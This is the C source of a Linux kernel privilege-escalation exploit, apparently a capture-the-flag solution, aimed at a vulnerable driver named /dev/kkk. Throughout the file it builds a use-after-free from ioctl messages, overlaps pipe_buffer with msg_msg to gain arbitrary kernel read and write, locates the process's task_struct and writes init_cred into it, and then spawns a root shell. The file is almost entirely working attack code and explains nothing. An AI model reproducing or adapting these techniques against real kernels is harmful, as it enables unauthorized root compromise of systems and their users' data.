1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442
| #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sched.h> #include <errno.h> #include <sys/prctl.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/mman.h> #include <sys/msg.h> #include <sys/ipc.h> #include <stdint.h>
size_t kernel_base = 0xffffffff81000000, kernel_offset = 0; size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000; size_t init_task, init_nsproxy, init_cred;
size_t direct_map_addr_to_page_addr(size_t direct_map_addr) { size_t page_count;
page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000; return vmemmap_base + page_count * 0x40; }
void err_exit(char *msg) { printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg); sleep(5); exit(EXIT_FAILURE); }
void get_root_shell(void) { puts("[*] checking for root...");
if(getuid()) { puts("\033[31m\033[1m[x] Failed to get the root!\033[0m"); sleep(5); exit(EXIT_FAILURE); }
puts("\033[32m\033[1m[+] Successful to get the root. \033[0m"); puts("\033[34m\033[1m[*] Execve root shell now...\033[0m"); system("/bin/sh"); exit(EXIT_SUCCESS); }
size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
void bind_core(int core) { cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); }
struct page; struct pipe_inode_info; struct pipe_buf_operations;
struct pipe_buffer { struct page *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private; };
struct pipe_buf_operations { int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *); void (*release)(struct pipe_inode_info *, struct pipe_buffer *); int (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *); int (*get)(struct pipe_inode_info *, struct pipe_buffer *); };
struct list_head { uint64_t next; uint64_t prev; };
#ifndef MSG_COPY #define MSG_COPY 040000 #endif
struct msg_msg { struct list_head m_list; uint64_t m_type; uint64_t m_ts; uint64_t next; uint64_t security; };
struct msg_msgseg { uint64_t next; };
int get_msg_queue(void) { return msgget(IPC_PRIVATE, 0666 | IPC_CREAT); }
int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) { return msgrcv(msqid, msgp, msgsz, msgtyp, 0); }
int write_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) { ((struct msgbuf*)msgp)->mtype = msgtyp; return msgsnd(msqid, msgp, msgsz, 0); }
#ifndef MSG_COPY #define MSG_COPY 040000 #endif
int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) { return msgrcv(msqid, msgp, msgsz, msgtyp, MSG_COPY | IPC_NOWAIT | MSG_NOERROR); }
void build_msg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev, uint64_t m_type, uint64_t m_ts, uint64_t next, uint64_t security) { msg->m_list.next = m_list_next; msg->m_list.prev = m_list_prev; msg->m_type = m_type; msg->m_ts = m_ts; msg->next = next; msg->security = security; }
int dev_fd;
#define TYPE_REQUEST 1 #define TYPE_REPLY 2
#define CMD_ENCRYPT_TEA 1 #define CMD_DECRYPT_TEA 2 #define CMD_HASH_MD5 3
#define STATUS_SUCCESS 1 #define STATUS_FAIL 2
#define RECV_MSG 0x114514 #define SEND_MSG 0x1919810
struct msg_hdr { uint16_t type; uint16_t cmd; uint16_t status; size_t tag; size_t data_len; char data[0]; };
struct tea_crypt_info { uint32_t key[4]; char text[0]; };
#define set_msg_hdr(_hdr, _type, _cmd, _status, _tag, _data_len) \ do { \ _hdr->type = _type; \ _hdr->cmd = _cmd; \ _hdr->status = _status; \ _hdr->tag = _tag; \ _hdr->data_len = _data_len; \ } while (0)
#define get_hdr_data(__hdr, ptr_type) ({ \ ((ptr_type*) &__hdr->data); \ })
long kkk_send_msg(int dev_fd, struct msg_hdr *msg) { return ioctl(dev_fd, SEND_MSG, msg); }
long kkk_recv_msg(int dev_fd, struct msg_hdr *msg) { return ioctl(dev_fd, RECV_MSG, msg); }
#define SECOND_LEVEL_PIPE_NUM 0x100
int rw_pipe[2]; int second_level_pipe[SECOND_LEVEL_PIPE_NUM][2]; int msqid; size_t msg_buf[0x1000], *pipe_buf, pipe_ops;
void construct_uaf_on_msg_and_pipe(void) { struct msg_hdr *msg; size_t checksum; int ret; char *buf;
msqid = get_msg_queue();
msg = malloc(0x200); memset(msg, 'A', sizeof(*msg)); set_msg_hdr(msg, TYPE_REQUEST, CMD_ENCRYPT_TEA, 0, 0, 160 - sizeof(*msg));
pipe(rw_pipe);
kkk_send_msg(dev_fd, msg); sleep(2); if (kkk_recv_msg(dev_fd, (struct msg_hdr *) 0xbeefedead0) < 0) { printf("[=] errno: %d\n", errno); } fcntl(rw_pipe[0], F_SETPIPE_SZ, 0x1000 * 4); write(rw_pipe[1], "arttnba3", 8); read(rw_pipe[0], &checksum, 8); write(rw_pipe[1], "arttnba3", 8);
if (kkk_recv_msg(dev_fd, (struct msg_hdr *) 0xdeadbeef0) < 0) { printf("[=] errno: %d\n", errno); } write_msg(msqid, msg_buf, 0x1000 + 160 - sizeof(struct msg_msg) - 8, 0x41);
write(rw_pipe[1], "arttnba3", 8);
peek_msg(msqid, msg_buf, 0x1000 + 160 - sizeof(struct msg_msg) - 8, 0); pipe_buf = (size_t*) ((size_t) msg_buf + 0x1000 - sizeof(struct msg_msg)); if (pipe_buf[12] < 0xffffffff81000000) { err_exit("FAILED to make UAF on pipe!"); } pipe_ops = pipe_buf[12];
puts("\033[32m\033[1m[+] Successfully build UAF pipe_buffer!\033[0m"); printf("\033[34m\033[1m[*] Page: \033[0m%lx ", pipe_buf[10]); printf("\033[34m\033[1m, ops: \033[0m%lx\n", pipe_ops); }
struct pipe_buffer *fake_buf;
void arbitrary_read_by_pipe(size_t page_addr, void *buf) { fake_buf = (struct pipe_buffer*) &pipe_buf[5]; read_msg(msqid, msg_buf, 0x1000 + 160 - sizeof(struct msg_msg) - 8, 0x41);
fake_buf->page = (struct page*) page_addr; fake_buf->len = 0x1ff8; fake_buf->offset = 0; fake_buf->ops = (struct pipe_buf_operations*) pipe_ops;
write_msg(msqid, msg_buf, 0x1000 + 160 - sizeof(struct msg_msg) - 8, 0x41);
read(rw_pipe[0], buf, 0xfff); }
void arbitrary_write_by_pipe(size_t page_addr, void *buf, size_t len) { fake_buf = (struct pipe_buffer*) &pipe_buf[10]; read_msg(msqid, msg_buf, 0x1000 + 160 - sizeof(struct msg_msg) - 8, 0x41);
fake_buf->page = (struct page*) page_addr; fake_buf->len = 0; fake_buf->offset = 0; fake_buf->ops = (struct pipe_buf_operations*) pipe_ops;
write_msg(msqid, msg_buf, 0x1000 + 160 - sizeof(struct msg_msg) - 8, 0x41);
len = len > 0xffe ? 0xffe : len;
write(rw_pipe[1], buf, len); }
size_t data_buf[0x1000], *tsk_buf, current_task_page, current_task, parent_task;
void seek_current_task_struct(void) { size_t *comm_addr;
vmemmap_base = pipe_buf[10] & 0xfffffffff0000000;
printf("\033[32m\033[1m[+] vmemmap_base:\033[0m 0x%lx\n\n", vmemmap_base);
puts("[*] Seeking task_struct in memory...");
prctl(PR_SET_NAME, "arttnba3pwnn");
for (int i = 0; 1; i++) { arbitrary_read_by_pipe(vmemmap_base + i * 0x40, data_buf); comm_addr = memmem(data_buf, 0xf00, "arttnba3pwnn", 12); if (comm_addr && (comm_addr[-2] > 0xffff888000000000) && (comm_addr[-3] > 0xffff888000000000) && (comm_addr[-61] > 0xffff888000000000) && (comm_addr[-60] > 0xffff888000000000)) {
parent_task = comm_addr[-61];
current_task = comm_addr[-54] - 2528;
page_offset_base = (comm_addr[-54]&0xfffffffffffff000) - i * 0x1000; page_offset_base &= 0xfffffffff0000000;
printf("\033[32m\033[1m[+] Found task_struct on page: \033[0m%lx\n", (vmemmap_base + i * 0x40)); printf("\033[32m\033[1m[+] page_offset_base: \033[0m0x%lx\n", page_offset_base); printf("\033[34m\033[1m[*] current task_struct's addr: \033[0m" "0x%lx\n\n", current_task); break; } } }
void privilege_escalation_by_task_overwrite(void) { puts("[*] Seeking for init_task...");
for (;;) { size_t ptask_page_addr = direct_map_addr_to_page_addr(parent_task);
tsk_buf = (size_t*) ((size_t) data_buf + (parent_task & 0xfff));
arbitrary_read_by_pipe(ptask_page_addr, data_buf); arbitrary_read_by_pipe(ptask_page_addr+0x40, &data_buf[512]);
if (parent_task == tsk_buf[309]) { break; }
parent_task = tsk_buf[309]; }
init_task = parent_task; init_cred = tsk_buf[367]; init_nsproxy = tsk_buf[381];
printf("\033[32m\033[1m[+] Found init_task: \033[0m0x%lx\n", init_task); printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred); printf("\033[32m\033[1m[+] Found init_nsproxy:\033[0m0x%lx\n",init_nsproxy);
puts("[*] Escalating ROOT privilege now...");
current_task_page = direct_map_addr_to_page_addr(current_task);
arbitrary_read_by_pipe(current_task_page, data_buf); arbitrary_read_by_pipe(current_task_page + 0x40, &data_buf[512]);
tsk_buf = (size_t*) ((size_t) data_buf + (current_task & 0xfff)); tsk_buf[367] = init_cred; tsk_buf[368] = init_cred; tsk_buf[381] = init_nsproxy;
arbitrary_write_by_pipe(current_task_page, data_buf, 0xff0); arbitrary_write_by_pipe(current_task_page + 0x40, &data_buf[512], 0xff0);
puts("[+] Done.\n"); }
int main(int argc, char **argv, char **envp) { save_status(); bind_core(0);
dev_fd = open("/dev/kkk", O_RDWR); if (dev_fd < 0) { err_exit("FAILED to open /dev/kkk!"); }
construct_uaf_on_msg_and_pipe(); seek_current_task_struct(); privilege_escalation_by_task_overwrite(); get_root_shell();
return 0; }
|